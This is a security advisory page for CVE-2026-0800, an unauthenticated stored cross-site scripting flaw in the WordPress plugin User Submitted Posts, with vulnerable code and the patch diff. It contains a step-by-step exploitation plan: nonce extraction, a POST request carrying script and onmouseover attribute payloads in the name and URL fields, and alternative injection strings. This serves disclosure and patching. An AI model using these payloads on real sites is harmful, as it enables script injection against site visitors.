CVE-2026-0800

User Submitted Posts – Enable Users to Submit Posts from the Front End <= 20251210 - Unauthenticated Stored Cross-Site Scripting via Custom Field

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
20260110
Patched in
1d
Time to patch

Description

The User Submitted Posts – Enable Users to Submit Posts from the Front End plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the custom fields in all versions up to, and including, 20251210 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=20251210
PublishedJanuary 23, 2026
Last updatedJanuary 24, 2026
Affected pluginuser-submitted-posts

What Changed in the Fix

Changes introduced in v20260110

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-0800 ## 1. Vulnerability Summary The **User Submitted Posts** plugin (<= 20251210) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin allows guest users to submit posts containing custom metadat…

Show full research plan

Exploitation Research Plan - CVE-2026-0800

1. Vulnerability Summary

The User Submitted Posts plugin (<= 20251210) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin allows guest users to submit posts containing custom metadata (Name, URL, Email) which is subsequently saved and rendered in the post content on the front end without adequate sanitization or output escaping. Specifically, the "Auto-display" features inject raw meta values into the the_content filter.

2. Attack Vector Analysis

  • Endpoint: The front-end post submission form, typically rendered via the [user-submitted-posts] shortcode.
  • Action: A POST request to any page containing the submission form (or the site root if the plugin processes submissions globally).
  • Vulnerable Parameters:
    • user-submitted-name (maps to meta user_submit_name)
    • user-submitted-url (maps to meta user_submit_url)
    • user-submitted-email (maps to meta user_submit_email)
  • Authentication: None required (Unauthenticated).
  • Preconditions:
    • The "Auto-display" settings for Name, URL, or Email must be enabled (set to 'before' or 'after').
    • The "Post Status" should ideally be set to "Publish Immediately" for instant verification, though "Pending" posts still store the payload for later execution.

3. Code Flow

  1. Submission: When a user submits the form, the plugin (likely in library/form-functions.php, though partially seen in user-submitted-posts.php) processes the $_POST data.
  2. Storage: Functions like usp_get_submitted_title() and logic associated with usp_get_custom_field() retrieve input. The plugin saves these values to the database using add_post_meta() or update_post_meta() with keys like user_submit_name.
  3. Display (Sink): In library/core-functions.php, the function usp_auto_display_name($content) (and its counterparts for URL and Email) is hooked into the_content.
    • It retrieves the meta: $author = get_post_meta(get_the_ID(), 'user_submit_name', true);
    • It defines a replacement pattern: $patterns[0] = "/%%author%%/";
    • It performs a replacement into a markup string: $markup = preg_replace($patterns, $replacements, $markup);
    • Crucially, no escaping (e.g., esc_html, esc_attr) is applied to $author before it is concatenated into $content.
  4. Execution: When any user views the submitted post, the XSS payload is rendered as part of the post content and executes in the browser.

4. Nonce Acquisition Strategy

The plugin uses a nonce for front-end submissions to prevent CSRF, even for unauthenticated users.

  1. Identify Shortcode: The primary shortcode is [user-submitted-posts].
  2. Setup Page: Create a public page containing this shortcode.
  3. Extraction:
    • Navigate to the page using browser_navigate.
    • The nonce is typically found in a hidden input field within the form or localized via wp_localize_script.
    • Based on standard USP behavior, check for a hidden input named usp-nonce.
    • JavaScript Retrieval: browser_eval("document.querySelector('input[name=\"usp-nonce\"]')?.value").

5. Exploitation Strategy

  1. Preparation:
    • Set plugin options to auto-publish and auto-display Name and URL.
  2. Target URL: The URL of the page containing the [user-submitted-posts] shortcode.
  3. Payload: <script>alert(document.domain)</script>
  4. HTTP Request (via http_request):
    • Method: POST
    • Content-Type: application/x-www-form-urlencoded
    • Parameters:
      • user-submitted-title: Test XSS Post
      • user-submitted-content: This is a test post.
      • user-submitted-name: <script>alert('XSS_NAME')</script>
      • user-submitted-url: http://example.com" onmouseover="alert('XSS_URL')
      • user-submitted-category: 1 (usually 'Uncategorized' ID)
      • usp-nonce: [EXTRACTED_NONCE]
      • usp_save: Submit Post (or the equivalent submit button name)

6. Test Data Setup

  1. Configure Plugin Options (via WP-CLI):
    # Enable auto-display of name and URL before the content
    wp option patch update usp_options auto_display_name 'before'
    wp option patch update usp_options auto_display_url 'after'
    # Set posts to publish immediately for easy testing
    wp option patch update usp_options usp_post_status 'publish'
    # Ensure name and URL fields are enabled
    wp option patch update usp_options usp_name 'show'
    wp option patch update usp_options usp_url 'show'
    
  2. Create Submission Page:
    wp post create --post_type=page --post_title="Submit Here" --post_content='[user-submitted-posts]' --post_status=publish
    

7. Expected Results

  • The http_request should return a successful status (usually a 200 or 302 redirect).
  • A new post should be created.
  • When navigating to the new post's URL, the HTML source should contain the raw, unescaped payload:
    • <p>...<script>alert('XSS_NAME')</script>...</p>
    • Or within the URL markup: <a href="http://example.com" onmouseover="alert('XSS_URL')">...</a>

8. Verification Steps

  1. Check Post Creation: wp post list --post_type=post --status=publish
  2. Verify Meta Content:
    POST_ID=$(wp post list --post_type=post --post_status=publish --field=ID | head -n 1)
    wp post meta get $POST_ID user_submit_name
    
  3. Verify Frontend Output:
    Use http_request (GET) on the post permalink and grep for the payload string.

9. Alternative Approaches

  • Custom Fields: If user-submitted-name is sanitized, try usp_get_custom_field() (mapped to custom_name in options). The code shows usp_get_custom_field uses usp_sanitize_content, which might be bypassed or insufficient for XSS if it only targets script tags and not attribute-based injection.
  • Attribute Injection: If <script> tags are stripped, use:
    " onmouseover="alert(1)" style="position:fixed;top:0;left:0;width:100%;height:100%;" "
    Inject this into the user-submitted-url field, which is often placed inside an href attribute.
Research Findings
Static analysis — not yet PoC-verified

Summary

The User Submitted Posts plugin is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) due to the failure to sanitize and escape user-submitted metadata. Attackers can inject arbitrary scripts into fields like Name, URL, or Email, which are then rendered without protection when the plugin's 'Auto-display' feature is enabled.

Vulnerable Code

// library/core-functions.php

function usp_auto_display_email($content) {
    // ... (lines 149-166)
    if (!empty($email)) {
        $patterns = array();
        $patterns[0] = "/%%author%%/";
        $patterns[1] = "/%%email%%/";
        $patterns[2] = "/%%title%%/";
        
        $replacements = array();
        $replacements[0] = $author;
        $replacements[1] = $email;
        $replacements[2] = $title;
        
        $markup = preg_replace($patterns, $replacements, $markup);
---
// library/core-functions.php

function usp_auto_display_name($content) {
    // ... (lines 191-204)
    if (!empty($author)) {
        $patterns = array();
        $patterns[0] = "/%%author%%/";
        
        $replacements = array();
        $replacements[0] = $author;
        
        $markup = preg_replace($patterns, $replacements, $markup);
---
// library/core-functions.php

function usp_auto_display_url($content) {
    // ... (lines 231-248)
    if (!empty($url)) {
        $patterns = array();
        $patterns[0] = "/%%author%%/";
        $patterns[1] = "/%%url%%/";
        $patterns[2] = "/%%title%%/";
        
        $replacements = array();
        $replacements[0] = $author;
        $replacements[1] = $url;
        $replacements[2] = $title;
        
        $markup = preg_replace($patterns, $replacements, $markup);

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/user-submitted-posts/20251210/library/core-functions.php /home/deploy/wp-safety.org/data/plugin-versions/user-submitted-posts/20260110/library/core-functions.php
--- /home/deploy/wp-safety.org/data/plugin-versions/user-submitted-posts/20251210/library/core-functions.php	2022-10-08 20:51:36.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/user-submitted-posts/20260110/library/core-functions.php	2026-01-10 22:27:30.000000000 +0000
@@ -272,11 +272,11 @@
 			$patterns[4] = "/%%title%%/";
 			
 			$replacements = array();
-			$replacements[0] = $author;
-			$replacements[1] = $label;
-			$replacements[2] = $name;
-			$replacements[3] = $value;
-			$replacements[4] = $title;
+			$replacements[0] = wp_kses_post($author);
+			$replacements[1] = wp_kses_post($label);
+			$replacements[2] = wp_kses_post($name);
+			$replacements[3] = wp_kses_post($value);
+			$replacements[4] = wp_kses_post($title);
 			
 			$markup = preg_replace($patterns, $replacements, $markup);
 			
@@ -323,11 +323,11 @@
 			$patterns[4] = "/%%title%%/";
 			
 			$replacements = array();
-			$replacements[0] = $author;
-			$replacements[1] = $label;
-			$replacements[2] = $name;
-			$replacements[3] = $value;
-			$replacements[4] = $title;
+			$replacements[0] = wp_kses_post($author);
+			$replacements[1] = wp_kses_post($label);
+			$replacements[2] = wp_kses_post($name);
+			$replacements[3] = wp_kses_post($value);
+			$replacements[4] = wp_kses_post($title);
 			
 			$markup = preg_replace($patterns, $replacements, $markup);

Exploit Outline

The exploit is performed by an unauthenticated attacker targeting the front-end post submission form (usually available via the `[user-submitted-posts]` shortcode). 1. The attacker first visits the submission page to extract the required `usp-nonce` from the hidden input field in the form. 2. The attacker submits a POST request to the site containing a payload in parameters such as `user-submitted-name` or `user-submitted-url`. A payload like `<script>alert(document.domain)</script>` or attribute-based injection like `" onmouseover="alert(1)"` is used. 3. The malicious input is saved as post meta (e.g., `user_submit_name`) without adequate sanitization. 4. When the post is viewed on the front end, and the plugin's 'Auto-display' settings for the affected fields are enabled, the plugin injects the raw metadata into the post content via the `the_content` filter, resulting in the execution of the script in the victim's browser.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.